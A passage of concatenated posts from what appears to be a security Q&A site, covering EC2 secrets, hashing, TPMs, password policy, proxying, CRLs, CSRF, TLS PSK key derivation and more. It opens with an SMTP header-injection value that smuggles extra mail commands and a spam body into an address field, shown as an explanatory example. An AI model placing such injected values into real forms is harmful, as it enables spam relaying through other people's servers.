some-spammer@someplace.net\nRCPT TO: <spam-receiver@someone.com>\nDATA\nCheapo Viagra pillz\n.\nMAIL FROM: <legitimate-email@provider.net>`

For the mail server, there's two transactions occuring: the first one uses the concatenated overlong from address, and the second one will use the rest of the message your site intended to send.
This method is used a lot by spammers because they will use your bandwidth and your IP address to send spam, so you will end up banned around, not them.
How to solve this? Unless you are a good, security minded programmer, don't code your own email sending solution. There's lots of resources around that take care of validation, rate-limiting, queueing, and other tasks. Use them.


Best practice for config files for ec2 instances I am building a lamp server ec2 image for a project we are doing. These images will be in an autoscaling group and on startup will be running startup script.
THere are some config files that have details that need to be kept secure, for example database login details.

I was originally planning to run a phpscript to retrieve these files from an S3 bucket, however when I was reading about credentials for the instance to access the S3 server, the documentation advised that the security credentials should not be stored on S3, even if it is encrypted. I'm not using a credential file anyway, as I have assigned a IAM role to the ec2, however, this advice has made me think, well it's not secure to store these config files on S3 also.

So I'm just asking, what is the best practice for storage of config files for instances that have to be spun up. Should I just make these config files part of the image I'm creating? Or is there a reason I should not do that either?

Thanks.

You can store the config file in S3, the Secrets in parameter store (they can be encrypted at rest) and inject the parameters in your config file (with sed in bash for example).

I won't advice to directly store them inside your EC2 (I mean EBS) because anybody having the right to mount the EBS could have access to them.


Does a hash have more than one possible original message? Possible Duplicate:
  Collision rate for different hash algorithms

Many hashing algorithms seem to have fixed-length message digest as output.

If I compute the md5 hash of two strings:

>>> hashlib.md5("This is a really really long text string to make a hash out of").hexdigest()
'2916991b5ebba69ab38a84a0a72b4176'

>>> hashlib.md5("Short").hexdigest()
'30bb747c98bccdd11b3f89e644c4d0ad'

I get an output that is 32 characters long for each, even though there is a significant difference in the lengths of the inputs.  Is it theoretically possible that I could come up with two (or more) completely different inputs that generate the same output, since there are infinite possibilities for an input and only a finite number of characters to work with for the output?

If yes, what is the likelihood of finding another input that would generate the same output?

Is it theoretically possible that I could come up with two (or more) completely different inputs that generate the same output, since there are infinite possibilities for an input and only a finite number of characters to work with for the output?

Yes, its theoretically possible. But hash functions are so designed to make it practically difficult. When I say practically difficult, I mean it will take immense compute cycles (which translates to money and time) to compute a collision.

  If yes, what is the likelihood of finding another input that would generate the same output?

This depends on the hash functions. The property is called Collision Resistance

To depict via an example, lets construct a hash function which hashes numbers into a resulting smaller address-space [0, 9].
Our simple hash function is hash(X) = X mod 10. Hence

hash(10)   = 0
hash(1864) = 4

This is a valid hash function but has very poor collision resistance.
For example, hash of 24 and 1284 is the same. If you are relying on the hash(4 in this case) for the integrity of the message, a attacker can safely replace the message 24 to 1284 which hashes to the same value.
This particular attack is called a Preimage attack Preimage collision resistance is a prime property of any hash function.


What really is the difference between firmware TPM and a discreet one and should it be trusted more? What really is the difference between a physical TPM and any implementation of a fTPM?
I get that both adhere to the same specification and in my mind should be the same thing, but then, I don't understand why there even are 5 or so different types of TPM - discrete, integrated, firmware, virtual, and, well, software, though here the distinction is a little bit more clear - having used one, it really is more like a simulator.
The advantage of a hardware device makes sense in theory -> the EK is literally etched in stone, so as the presence of a EK is required by specification I suppose fTPM just have the key saved somewhere.
Can the claim, that "a physical TPM offers most security" be backed up?
Let's imagine I put 100% trust in a system with a discrete TPM and in this hypothetical world such system is 100% secure. Do I have any reason to trust iTPM/fTPM/vTPM any less and is their purpose by definition the same?

It is very hard to quantify security and justify trust. Before you read on: think about what you want to protect against whom. Make a risk analysis.
I have heard mainly two justifications why physical TPMs are more secure.
1) Separation/Isolation
Generally, the better two systems are isolated, the harder it is to spread compromisation.
For example, you can hardly attack network #2 from network #1 if they are not physically connected. If they were connected via a firewall, it might be possible, but still hard. The least secure option would be no separation at all.
The same applies to the isolation of the host machine and its TPM. A user-space TPM simulator would hardly be isolated at all and the least secure option. A fTPM is isolated much better, but it's still running on the same chip. A hardware TPM is much more isolated and therefore presumably better protected against software attacks from host malware.
Of course there is a whole variety of hardware attacks which is not affected by this isolation. Again, think about your assets and risks.
2) Certification
Physical TPMs are usually certified. That alone is not a guarantee for security. However, it ensures that certain requirements are met verifiably. Therefore it is evidence at least some level of security.
In particular, the Common Criteria Evaluation takes hardware security against e.g. timing, glitching and side-channel attacks into account. Currently, there are only physical TPMs which are Common Criteria evaluated (see here under Trusted Computing).


Does linux support signed binaries? I am looking for something similar to what iOS supports. Does it exist in linux?

With a secure boot (based in hardware chain of trust), doesn't it make sense to have signed binaries for security? Actually, if I have an opportunity to do signed binaries or add SElinux policies to all services and contain them as much as possible which one would be a bigger ROI in terms of security?

I am not saying they are used for the same purpose but just at a high level which one would you do first, if one has to prioritize.

If you're looking for signed binaries you may find elfsign and elfverify to be of interest to you. This doesn't provide a tie in for the linker. It's a manually process that writes the signature into the ELF header. Additionally, I would suggest checking out the kernel's IMA appraisal extension.

See also,

2013 Signing ELF binaries
2012 IMA appraisal extension


It's well into 2017 - what's the latest best practise password policy After reading some of the latest research from NIST and some good summaries, for example: https://www.cisoadvisory.com/cai-blog/2016/10/24/nist-proposes-new-approach-to-passwords

When proposing a chance to the usual password policy of "upto 8 characters, with no spaces but special characters, whilst standing upside-down blindfolded", is this credible to cite?

In summary:

Use 2FA
Check against known bad passwords
Encourage long password / phrases

Three questions:

Is it acceptable to use 2FA only for admins / privileged access?
Is there a (reasonably) canonical list of bad passwords to check against? Is there a prefrred method such as lower case everything before checking?
What's a reasonable minimum length?

Edit to Add
One more aspect, scanning through the password list linked below by @DKUNCKLES (https://security.stackexchange.com/a/158176/73340) a lot of passwords are short - shorter than 12 characters.

So, by that rationale, just making a minimum password length of 12 characters you immediately eliminate silly or pointless passwords? Right?

Or would you check for the contents? Is "password123password123" harder to crack than "password123"?

Level's of acceptability are determined based on an organizations or individuals risk appetite. 2FA is not a silver bullet, and as a pen-tester I'm going to pop any box I can (whether it be admin, or not) and then work on escalating privileges. 2FA will not protect you against system vulns that can provide access to SYSTEM or root, so if I have a foothold in your network via a compromised workstation I'm going to start fingerprinting services and try to get domain admin. Compromised end-user workstations also provide potential pivot-points into additional networks (perhaps dev environments where things may not be as secure). If you want to make life harder for threat actors, enable 2FA org wide if possible.
There are a lot of these lists available, but check out This GitHub Repo which contains several lists of the most common passwords utilized. A warning: You will be shocked and dismayed at what the most common passwords that are still being used.
Again, your reasonable minimum length is going to depend on what you're trying to secure. Ultimately as security people we'd love to see massively long passwords with high entropy spread across an organization, however that may not be feasible in many instances. Security is important but should minimally impede an organizations ability to be productive. A LUKS decryption key for a very sensitive server's full disk encryption which is only entered when the system boots up is likely to be very long more random. Conversely, your average end-users login to the workstation which is used every time they want to access their workstation is likely to be shorter and much less random. Despite what any best practice says you need to find the sweet spot of secure-random passwords with usability.

EDIT re: Password rotation : The concept of forcing people to change their password is a contentious topic to say the least. On one hand you forcing them to change their password potentially mitigates password replay attacks. On the other hand you get password rotating and minimal changes (password#1, password#2, password#3) etc.

It's important to understand that Pentesting is not a truthful representation of your threat exposure for one simple reason: time. Penetration tests are limited timeframe engagements, whereas an attack with an axe to grind has a much larger window of opportunity. I might spend two weeks with a client, but once an attacker has a foothold in the network there's no telling how long they might poke around undetected. If I'm running a 2 week pen-test and there's no luck with password replay attacks after a few attempts, I'm likely going to move on to other attack vectors. It's easier for me to XSS or Spear Phish someone that waste CPU power on brute forcing or attempting to re-use people's passwords.

Now with that said, I like forcing users to change their passwords even though I inevitably know that passwords will get recycled. If I set a password policy to have users change their password every 60 days, and remember their previous 6 passwords I know that in a year there are 60 days where a stolen set of credentials might work. As a sysadmin I like those odds, as an attacker I don't. If users could be trusted to use a completely different password on each service they use, then ditching the age-old adage of "Change your password every x days" would become feasible, but that's nothing more than a pipe dream.

As there is no way to enforce staff to use unique password on each service (at least reaonsably unqiue (ie not password1 for your email, password2 for your laptop, etc) then I don't think password policies are going anywhere any time soon. Knowing that passwords will likely get reused, the responsibility then is on the organization to implement additional controls (2FA, network segregation, Intrusion Detection, etc) to round out their internal security.


What is the difference, from a security perspective, between a USB Hard Drive and Flash Drive? Many corporate and government IT departments prohibit the use of USB Flash Drives (thumb drives, the little ones with no spinning disk inside), but allow and even endorse the use of USB Hard Drives (the ones with 2.5" or 3.5" hard drive inside).

What is the difference, from a security perspective, between these two devices? Why is one more or less secure than the other?

There is no difference

From your computer point of view, both disk are the same kind.

There are some little differences in how information is deleted, but it should not matter regarding prohibition.

A Flash Drive will usually have a smaller capacity, but if they were concerned about leaks, several gigabytes allow for losing a lot of information.

Maybe they just think that since a flash drive is smaller it will be easier to lose it while larger drives won't? That doesn't seem too reasoned.


How protected mode in CPU is really implemented? I know what is real and protected mode of cpu execution. But how CPU implements protected mode ? AFAIK cpu does everything what the program says it to do. Where is the protected mode behaviour implemented ? Does OS plays any role in this ?

There's a bit in a register that indicates whether the CPU is currently in kernel mode or user mode. Program code cannot modify this bit directly: it has to use special instructions that do more than just change this bit. Certain instructions can only be used in kernel mode; attempting to use them in user mode instead triggers a trap.

While the processor is running in kernel mode, it can switch to user mode at any time. But while the processor is running in user mode, there are only a few ways to switch to kernel mode: with the system call instruction, because of an interrupt, or through a trap. In all cases, the processor doesn't just switch to kernel mode, it also jumps to an address in memory which can only be configured by kernel code. This ensures that user mode code cannot execute whatever it wants in kernel mode. User mode can only call a few specific entry points in the kernel code, and the kernel code at these entry points can set up its processing environment carefully and validate its inputs.

All of this would be useless if user code could modify the content of memory that contains kernel code or data. It cannot due to the memory management unit (MMU). One of the functions of the MMU is to limit what memory is accessible at a given time. Memory can be marked as accessible to the kernel only, and switching between kernel mode and user mode may change the access permission table. The MMU configuration can only be modified while running in kernel mode. This way the kernel can configure the memory so that it can access its own code and data, but user code cannot.

The kernel actually maintains one MMU configuration per user process. Before switching to user mode, the kernel modifies the MMU configuration to correspond to the one for the process that will be executing after switching to user mode.

Pretty much any sufficiently advanced processor follows this basic model: not only any PC manufactured in the past 30 years, but also any smartphone and even many embedded devices.

I've simplified a lot of things. In the real world, there can be more than two privilege levels, more processor modes, more aspects of MMU configuration, etc. You have the gist of how it works. If you want to understand kernel code or write your own, you'll need to read about a specific processor architecture in more detail.

“Real mode” is a historic aspect of x86 processors. It hasn't been relevant in the real world for the past couple of decades except in some rare embedded x86 systems and to some people writing bootloaders or running some really old legacy software.


How to configure ZAP for Desktop Appliation I have used ZAP for performing MiTM for Web Applications, what are the settings or methods to perfrom MitM for a Desktop Application ?

Is there a way you could setup ZAP as a system proxy so you can monitor the entire traffic going from the localhost ?

If the application honours the system-wide proxy settings, you can configure them on Windows via the Internet Options window, or on Linux using the http_proxy environment variable. If the application will not communicate through a proxy, you're stuck because Zap does not support transparent proxying of traffic.

If you need transparent proxying of web traffic, I recommend Burp Suite for this job because it's so simple to set up. Burp calls this feature invisible proxying and you can configure it in your project's options. The idea is that you set up a local listening "proxy" on the same port as the target server, and have that proxy connect out to the real server's IP address on the same port, transparently forwarding all traffic back and forth rather than using a proxy protocol like SOCKS.

There are two easy ways to coerce the application into talking to your transparent proxy rather than the real server. The first is by modifying the application's config files (or binaries) to point to 127.0.0.1 rather than the real server, although this can cause problems because the application will send a Host request header containing that IP rather than the real domain. The other way, which is more reliable, is to add the domain to your hosts file so that it resolves to 127.0.0.1.

If the connection is HTTPS, you'll need to export Burp's CA from the config tab and install it on your OS so that you can properly man-in-the-middle it.

If the protocol turns out to be binary rather than HTTP(S) then you could use CANAPE in the same way.


Is logging a hashed password safe? I'm creating a login module for Wildfly by extending org.jboss.security.auth.spi.DatabaseServerLoginModule and using log4j2 for debugging.

I've gotten into the habit of using log4j2's Logger.entry() and Logger.exit() methods for TRACE level logging, and the exit() method has the option of including the return value for a method.

In this particular instance, I'm overriding DatabaseServerLoginModule's createPasswordHash() method and I'm wondering if I need to skip including the return value in log.exit() - but it would be really helpful to see that the hashes being used to login match (or not) the hashes I am creating to register.

It smells wrong, but on my own I can't seem to come up with any reason not to since someone with access to the logs still wouldn't know what hash algorithm I used, how many iterations, salt, etc. But then again, I'm not the hacker trying to break into this account.

Is logging a hashed password safe?

Do not do this.

Unless you protect your logs to the same degree as your database (which would be very unusual and probably difficult) you will be weakening your security.

If you have a secure hashing scheme (slow hash, good salt, etc.) the security impact should be minimal, but I doubt any impact would be worth the minor convenience you mentioned.

  someone with access to the logs still wouldn't know what hash
  algorithm I used, how many iterations, salt, etc.

You don't want to depend on the parameters of your hashing scheme remaining a secret for security.

Information is very valuable to an attacker. They don't know these things yet, but a hash could help them figure it out. For example:

The length and appearance of the hash might give some clues as to the algorithm
They might be able to estimate the number of iterations (at least within a brute forceable range) by the time the server takes to complete the request
If they know a password (eg. their own) this may leave the salt as the only unknown

It may then be computationally feasible to brute force the salt to confirm all the assumptions they made above.

Maybe an attacker can't do anything useful with this information, but maybe it will help them - you really don't want to give away any more than you have to.

Who knows, maybe they'll compromise your codebase at the same time they compromise your logs (not unlikely), or maybe a weakness will be discovered in your hashing algorithm sometime in the future.


How secure is CertiVox M-PIN? CertiVox have designed a system with the aim of "getting rid of passwords".

Essentially the system authenticates users with two factors of authentication: A 4 digit PIN and a token stored within the browser's HTML5 storage. There is also the option of authenticating with a mobile phone by entering a one time passcode which is displayed on your computer's screen on the website you are trying to authenticate with. I believe this also requires the HTML5 storage token to be present. I'm assuming some sort of cross-domain call will enable the JavaScript to get what it needs to validate the token stored in the origin of the authentication server in both cases.

There is no password database as the system uses cryptography and zero knowledge proof in order to authenticate you with the service you are logging into. The keys are split between their master server and your own hosted server (in the case of M-PIN SSO).

CertiVox are the same company that ran PrivateSky, which was taken down at the end of 2013. There is a question relating to PrivateSky on here (How can PrivateSky not see your data?) and it seems to have similarities in the way it works to M-PIN. See Brian from CertiVox's answer here.

On first impression it reminds me of what SQRL tries to achieve. Related posts to SQRL are here:

Could SQRL really be as secure as they say?
How does the MITM (Man in the middle) attack happen with respect to SQRL

A page covering M-PIN in depth is here.

My thoughts are:

The MITM scenario is not possible like it is with SQRL because the MITM will not have the token in their browser.
As the token is stored in the browser, this becomes the prime target for any attacker.
The PIN entry in the browser is susceptible to shoulder surfing, although useless without the browser token.
A phishing attack could retrieve the PIN, again useless without the browser token.

Are my above assumptions correct? Are there any other weaknesses or advantages over using something like LastPass Enterprise (say using 100% generated passwords with 128 bit entropy and Yubikey 2FA for LastPass login)?

this is Brian from CertiVox.

I'll answer your questions line by line:

  The MITM scenario is not possible like it is with SQRL because the
  MITM will not have the token in their browser.

You are correct, the MITM scenario is not possible as M-Pin is a zero knowledge proof challenge response protocol. A MITM attacker would only see big numbers flying by. The worst an attacker could do is to modify the challenge or the response, in which case the authentication would fail.

  As the token is stored in the browser, this becomes the prime target for any attacker.

That's true. However, recommend to our customers to use CONTENT-SECURITY-POLICY HTTP Header since the M-Pin PinPad works without a problem with this setting turned on. This protects against almost all the possible XSS attacks known.
Offline attacks to the LocalStorage are possible only if the browser (computer) is infected with a malware. There is no existing single-device authentication solution that can solve that problem, as far as I know.
Also, we have an M-Pin Mobile app (HTML5, iOS and Android) that keeps your token in your mobile instead of your browser, as you mentioned. This enables the "Global Authenticator" mode so you can use it to remote login to desktop sessions. Adding the TEE support, the token is not just in your mobile but in secured hardware inside your mobile.

However, I think you might be missing the point of M-Pin; As you say, the target of the attacker (the individual) is now the only way of compromising their authentication credentials.

The big problem in the news cycle right now is attackers are stealing everyone's passwords out of the credential's file or password database inside large enterprise systems - out of the server, not at the client.

THAT'S THE REAL PROBLEM M-PIN SOLVES.

An M-Pin Server stores no authentication credentials, ever.
It doesn't matter if you salt and hash them 30 rounds. If you are in a regulated industry, you are obliged to tell the world you have been hacked and advise users to change their passwords. This can lead to a loss of confidence among customers. See Yahoo, eBay, Evernote, LinkedIn, etc. etc..

So if you are an enterprise or are running a mobile app or web app, implementing M-Pin as your authentication platform eliminates that threat vector and that risk of reputation damage.

  The PIN entry in the browser is susceptible to shoulder surfing, although useless without the browser token.

Exactly. Compared to password only, it's obviously eliminates that risk.

So you are right, shoulder surfing is useless without the token as a means of attack.

Also, in the new 3.4 version (that is in testing stage), we have implemented keyboard input support that will help you to type the PIN number without worrying that someone will see it on your monitor.

  A phishing attack could retrieve the PIN, again useless without the browser token.

That's actually one of M-Pin's powerful strengths. Any spoof website can prompt a user to enter some private information. In M-Pin's case that information can only be the PIN. That PIN is completely useless without the token and without the M-Pin ID (which is different for each registered browser). Also, the spoof site cannot know the user identity - it is shown in the PinPad when asking for PIN number.

In comparison to LastPass, they are trying to help manage passwords. CertiVox M-Pin is meant to eliminate them entirely. Our 'M-Pin Core' value proposition isn't aimed at the individual (like LastPass), ours is aimed at developers and / or CISOs / security professionals who are implementing large, Internet scale applications and want to eliminate the risks that come from using password based authentication.

Our 'M-Pin SSO' server is aimed at Enterprises who want to federate M-Pin Strong Authentication to SAML / RADIUS enabled applications internally or externally.

Hope that helps.

Cheers,
Brian


Can an embedded CRL be trusted? Embedding CRLs in a signed document will allow the signature to be validated "long term", by providing a snapshot of the signer's state the moment the document was signed. Im wondering if these embedded CRLs can be trusted since:

Some PKIs will allow issuance of multiple small CRLs. Embedding one of these CRL will produce perfectly valid documents, even if the embedded CRL is not the one where the certificate will ultimately appear. From a client perspective, there is no way to tell if a PKI uses multiple small CRLs or a single one where every certificate appear.
Signer state at time of signature can change post-signature. Let's define:
T as the moment a valid signature was made and a corresponding CRL embedded. T+1 as the moment the certificate was revoked. T-1 the time set as the actual revocation date (ie compromise date in the past, before the signature was made). From T to T+1, the signature should be valid. After T+1, the signature should be considered invalid since the key was compromised at time T-1. In this situation we cannot rely on the embedded CRL as it will always show the signature as valid. On the other hand, online verification can only be used up until the certificate expiration. Afterwards we are only left with the embedded CRL, which we know is missing some important bits.

So, in this regard, can we prefer embedded CRLs over online ones ?

A CRL has value, and is acceptable, by virtue of being signed. Since the CRL is signed, how you obtained it is of no consequence whatsoever on its acceptability. That's the point of certificates and CRL: they can be distributed over arbitrary networks, protected or not, even plain HTTP, email, avian carriers... it does not matter.

Conversely, that the CRL is "online" does not make it any better; you still have to verify the signature, dates and so on.

Thus, CRL (or certificates, or OCSP responses) can perfectly be embedded, transmitted along with the data they qualify, or whatever. For instance, a CMS (PKCS#7) SignedData object contains fields called certificates and crls precisely to embed certificates and CRL (and OCSP responses) that receivers of such an object may find useful for validation purposes. In a similar vein, when a SSL/TLS server sends its certificate, it sends also some extra certificates (a "chain") that the client may use (at its leisure) to validate the server's certificate.

When a CA splits the CRL into multiple sub-CRL, the scope of each CRL is explicitly indicated: a certificate is in the scope of a CRL if the certificate contains a (critical) CRL Distribution Points extension with a "Distribution Point" that matches the Issuing Distribution Point extension in the CRL. See RFC 5280, section 6.3.3, step (b).(2).(i). This CRL splitting is thus not a problem.

An even more extreme splitting is incarnated by OCSP. OCSP is both a format for signed objects (the "OCSP responses"), and a communication protocol to obtain an OCSP response from an online responder. Each OCSP response is functionally equivalent to a CRL that talks about a single certificate. Thus, this is like the most split CRL that you can imagine, and yet it does not create any ambiguous information because each OCSP responses designates explicitly what certificate it is talking about.

Therefore, that a CRL is split or not does not induce any weakness; and obtaining fresh CRL from the CA would not fix anything either, since the downloading process is not protected anyway.

As for your second question: indeed, revocation status is, by definition, a transient property. On the one hand, that the signer's certificate was unrevoked at some point in the past (that's the information provided by an old CRL) does in no way guarantees that the certificate is still unrevoked, and, in particular, that the private key was not compromised in the mean time. On the other hand, recent CRL don't talk about expired certificates (and that's the point of certificate expiration: to prevent CRL from growing forever).

The exit out of this conundrum is time stamps. With a time stamp, you can somehow "freeze" an object at a moment in time. The idea is that, at date T, you take the signed object, along with all certificates and CRL that can be used to validate the signature at that date. You put all of these in some archive format, then obtain a time stamp on the whole. At a later date T', you validate the time stamp; if the time stamp is valid (at date T'), then you know that all the archive contents already existed at date T, and you can then proceed to validate the signature and use the certificates and CRL as if the current date was still T. The concept is that IF you had done the validation at date T, THEN you would still remember it, and act upon it; with the time stamp, you know that at date T all the certificates and CRL existed as is, and thus you could have done that validation.

There are a lot of subtleties in that process, which is why some standards have been defined to support it properly. Look up CAdES (and possibly its brothers XAdES and PAdES, for XML-DSig and signed PDF, respectively).


VirusTotal detects threats in Python Anaconda Build 3.6 - is it Reliable? We are trying to install the Anaconda Python build 3.6, but our virus scanner is detecting possible Trojans and other security alerts in the binary.

We find it hard to believe the build is problematic And I've seen false alerts reported elsewhere on the web for Python builds.

How can we get reassurance that what we have downloaded is safe to use?

Only 3 of 62 antivirus products detect this binary as malicious. And the MD5 and SHA-256 of the binary match the  officially published hashes. This suggests that these antivirus reports are false positives.


What level of anonymity do VPNs provide? When I use VPN is entire Internet usage protected or only some subset of traffic? For example,

Is my IMAP email provider only going to see VPN's IP address?
Is my DNS provider only going to see VPN's IP address?
If I play some computer game that uses some port, say 44521, is my game server  going to see only VPN's IP?

p.s. my routing table.

tr@trhost:~$ netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         0.0.0.0         0.0.0.0         U         0 0          0 ppp0
10.0.0.1        0.0.0.0         255.255.255.255 UH        0 0          0 ppp0
173.234.32.26   192.168.10.1    255.255.255.255 UGH       0 0          0 eth0
173.234.32.26   192.168.10.1    255.255.255.255 UGH       0 0          0 eth0
192.168.10.0    0.0.0.0         255.255.255.0   U         0 0          0 eth0

When I use VPN is entire Internet usage protected or only some subset of traffic?

This depends on how your VPN client is configured.  It might send all traffic over the VPN connection to the remote network or only traffic that has an endpoint inside the VPN.  I've seen them configured both ways.

One reason the IT staff would force all traffic to travel through the VPN is to prevent your machine from routing internet traffic into the VPN if your machine has been compromised.  If all of the traffic goes through the VPN, then they can log the attacker connecting to your machine or detect it with an IDS.

To answer the rest of your questions:  if all of your traffic travels through the VPN, then it will appear to external servers that you are connecting from the VPN's outgoing interface.


How can I find out who is behind a Mac address? I was connecting a bluetooth device to my tablet and noticed that when scanning for the devices one "device" was actually a Mac address. We (me and my husband) have been under a hacker attack already a month and I'm concerned about this Mac address. Those hackers messed up my husbands phone, it has been acting up ever since those hackers penerated trough modem, router and firewall.

Anyway, now I'm worried if they are trying to mess my tablet and phone too! I also noticed that my phone is "visible to all nearby Bluetooth devices". Before I was able to choose if I wanted to be visible or not.

So, I would really like to know who is behind that address. At least if it is a new attempt to sneak in by our network that our devices share.

These guys are not giving up!

Technically there is no way to couple a MAC address to a person. MAC addresses are easily spoofed. In case the attackers were careless and didn't spoof their MAC address, you can at best try to identify the device vendor (http://www.macvendorlookup.com/).

If your tablet or phone are compromised it's best to install them from scratch (from a computer you know is not compromised). Also take care not to jailbreak/root your phones as this often leaves them more vulnerable as usual.


Message signing disabled (dangerous, but default) Over the last couple of years, I've developed a fairly keen interest in Penetration Testing & Information Security. Throughout this time, I've acquired (and accumulated) a range of different devices with network capabilities, primarily, in an effort to learn more about various security auditing techniques. Below is an excerpt of an nmap scan of one such device:

Host script results:
| smb-os-discovery:
|   OS: Windows 10 Home 10240 (Windows 10 Home 6.3)
|   NetBIOS computer name: MARK
|   Workgroup: WORKGROUP
|_  System time: 2015-09-24T23:38:38-06:00
| smb-security-mode:
|   Account that was used for smb scripts: <blank>
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

My question is specifically regarding the following statement:
Message signing disabled (dangerous, but default).
What is message signing; what is the danger?

Any examples of working exploits would be appreciated.

Message signing, in this context, refers to SMB (Server Message Block) signing.

Server Message Block (SMB) is a common Windows "application-layer" network protocol, and signing is a feature that allows SMB communications to be digitally "signed" at the "packet-level". The subsequent "signature" provides a mechanism by which a recipient can verify the authenticity of a source.

For example, it is important for Domain Controllers to have SMB signing enabled because SMB is the protocol used by clients to download Group Policy information, and SMB signing provides a way to certify that the client is receiving a genuine Group Policy.

SMB signing is supported on all versions of Windows, but is only enabled by default on Domain Controllers.

Nmap is letting you know that:

SMB signing is disabled;
This is the more dangerous — or less secure — option (as opposed to having SMB signing enabled);
This is the default setting for the system you are scanning.


Why can CSRF attack be prevented by issuing CSRF tokens? The common way to prevent CSRF requests: Each time the user loads a page that contains a form to be POSTed, the user is issued a CSRF token that it supposed to be unknown to potentially malicious third-party sites. The token is issued both as a cookie and as a hidden <form> field. The client is supposed to authenticate each POST request by putting a valid CSRF token in the request's body and by presenting a valid cookie.

Let's say the user is logged in to example.com and, on another tab, browses to evil.com; and evil.com wants to attack example.com/form.html. I understand that evil.com can issue a POST request to a example.com/form.html and this site will interpret this malicious POST request as a valid request coming from the user. CSRF tokens prevent this scenario, because they are supposed to be unknown to evil.com; it cannot send the correct token with its maliocious POST request, so the example.com server will reject that request.

And here comes the part I fail to understand. The CSRF token is issued both as a cookie and as a hidden form field. For the cookie part, this is trivial: IIUC every request to example.com automatically contains all cookies that come from example.com; so, assuming that on another tab the user is logged in to example.com, the malicious POST request will contain the valid CSRF cookie. Is this correct?

For the hidden form field part, this get slightly more complicated, but not much. Evil.com can issue a GET XMLHttpRequest to example.com/form.html and that request will succeed, because the user is logged in to this site on another tab and because GET requests aren't protected by CSRF. In response, evil.com gets example.com/form.html HTML source, which contains the <form> in question, which in turn contains the hidden <input> field with the CSRF token. Evil.com can now parse the received document, extract the token and bundle it with its subsequent malicious POST request to example.com/form.html, theferore succesfully completing a CSRF attack.

What is wrong in my above reasoning? What am I failing to understand?

You are correct that the browser will send the CSRF-cookie from example.com with the request. However, because of the Cross Origin Resource Sharing the script on evil.com can not read the CSRF-token embedded in the webpage on example.com/form.html.

So the script on evil.com can not access the cookie, since it belongs to another domain. And it can not read the token in the form, because the browser won't allow it to read the content of the page.

The script on evil.com could read the token in the form if example.com allowed the domain in its Access-Control-Allow-Origin-header. This would mean example.com has explicitly whitelisted evil.com to be able to read the response content.


In PSK TLS, how is the key used for encryption derived? I'm trying to decrypt a message sent over a secure communication channel using TLS_PSK_WITH_3DES_EDE_CBC_SHA. I now have the client random number, server random number, PSK identity and PSK value. My problem is how to derive the key that was used for encryption and decryption.

I have read RFC 2246 TLS 1.0, and RFC 4279 Pre-Shared Key Ciphersuites for TLS standards. My understanding is that during the PSK TLS handshake between the client and server, the client and server agree on which PSK (pre-shared key) to use. This PSK will be used to derive the session key. This session key is used for encryption and decryption of messages. However, during my reading of the standards, I could not find a formula or procedure to derive this. I found a formula to compute the pre-master secret but I am not sure if this is the one used for encryption or decryption.

In PSK TLS, is the pre-master secret the same as the key used for encryption and decryption?
If the pre-shared secret is not the same as the key used for encryption and decryption, how is this key derived?

The pre-master secret is encrypted and exchanged in the TLS handshake.  This value is used to derive the master key.  The master key is used to derive all other keying material by passing it into a pseudo-random function (PRF), and combining other pieces of data from the handshake.

Deriving the Pre-Master Secret for a PSK

From RFC427: Section 2

  The premaster secret is formed as follows: if the PSK is N octets long, concatenate a uint16 with the value N, N zero octets, a second uint16 with the value N, and the PSK itself.

If using Diffie Hellman w/ PSK, Section 3:

  The premaster secret is formed as follows.  First, perform the Diffie-Hellman computation in the same way as for other Diffie-Hellman-based ciphersuites in [TLS].  Let Z be the value produced by this computation (with leading zero bytes stripped as in other Diffie-Hellman-based ciphersuites).  Concatenate a uint16 containing the length of Z (in octets), Z itself, a uint16 containing the length of the PSK (in octets), and the PSK itself.

If using RSA w/ PSK, Section 4

  The EncryptedPreMasterSecret field sent from the client to the server contains a 2-byte version number and a 46-byte random value, encrypted using the server's RSA public key as described in Section 7.4.7.1 of [TLS].  The actual premaster secret is formed by both parties as follows: concatenate a uint16 with the value 48, the 2-byte version number and the 46-byte random value, a uint16 containing the length of the PSK (in octets), and the PSK itself. (The premaster secret is thus 52 octets longer than the PSK.)

Deriving Master Key

Everything that follows does not just apply to TLS PSK; it applies to all key exchange types. From RFC 2246: Section 8.1

  For all key exchange methods, the same algorithm is used to convert the pre_master_secret into the master_secret. The pre_master_secret should be deleted from memory once the master_secret has been computed. The master secret is always exactly 48 bytes in length. The length of the premaster secret will vary depending on key exchange method.

   master_secret = PRF(pre_master_secret, "master secret",
                       ClientHello.random + ServerHello.random)
   [0..47];

The PRF is defined as combining two different hashing functions.  Section 5 of RFC 2246:

  First, we define a data expansion function, P_hash(secret, data) which uses a single hash function to expand a secret and seed into an arbitrary quantity of output:

   P_hash(secret, seed) = HMAC_hash(secret, A(1) + seed) +
                          HMAC_hash(secret, A(2) + seed) +
                          HMAC_hash(secret, A(3) + seed) + ...

   Where + indicates concatenation.

   A() is defined as:
       A(0) = seed
       A(i) = HMAC_hash(secret, A(i-1))

The function described above is really P_MD5 or P_SHA1.  The TLS PRF is described as follows:

  TLS's PRF is created by splitting the secret into two halves and using one half to generate data with P_MD5 and the other half to generate data with P_SHA-1, then exclusive-or'ing (XOR) the outputs of these two expansion functions together.

So lets claim the following:

L_S = length in bytes of secret;
L_S1 = L_S2 = ceil(L_S / 2);

The PRF is then:

PRF(secret, label, seed) = P_MD5(S1, label + seed) XOR
                              P_SHA-1(S2, label + seed);

Derive Encryption Keys

The key derivation is described in RFC 2246: Section 6.3

The entire keyblock is derived as follows:

key_block = PRF(SecurityParameters.master_secret,
                "key expansion",
                SecurityParameters.server_random +
                SecurityParameters.client_random);

Once enough material is generated and stored in the key_block, the key_block is split into the encryption/decryption keys.  Encryption or decryption depends on the direction.  As they're all referenced as write keys.  The key_block is sequentially split into the arrays:

client_write_MAC_secret[SecurityParameters.hash_size]
server_write_MAC_secret[SecurityParameters.hash_size]
client_write_key[SecurityParameters.key_material_length]
server_write_key[SecurityParameters.key_material_length]
client_write_IV[SecurityParameters.IV_size]
server_write_IV[SecurityParameters.IV_size]

There's some additional computations performed for exportable block ciphers.  You can read those details in Section 6.3 of RFC2246 as well.  Section 6.3.1 gives an example of these computations without the extra descriptions.


I forgot to shred a file before deleting it (on Windows). How do I shred that part of file system now where the file was located? My company has a policy that files have to be shredded after they've been read. They provide with a tool shred.exe that I run on the file and it overwrites it with garbage in the file system before unlinking it.

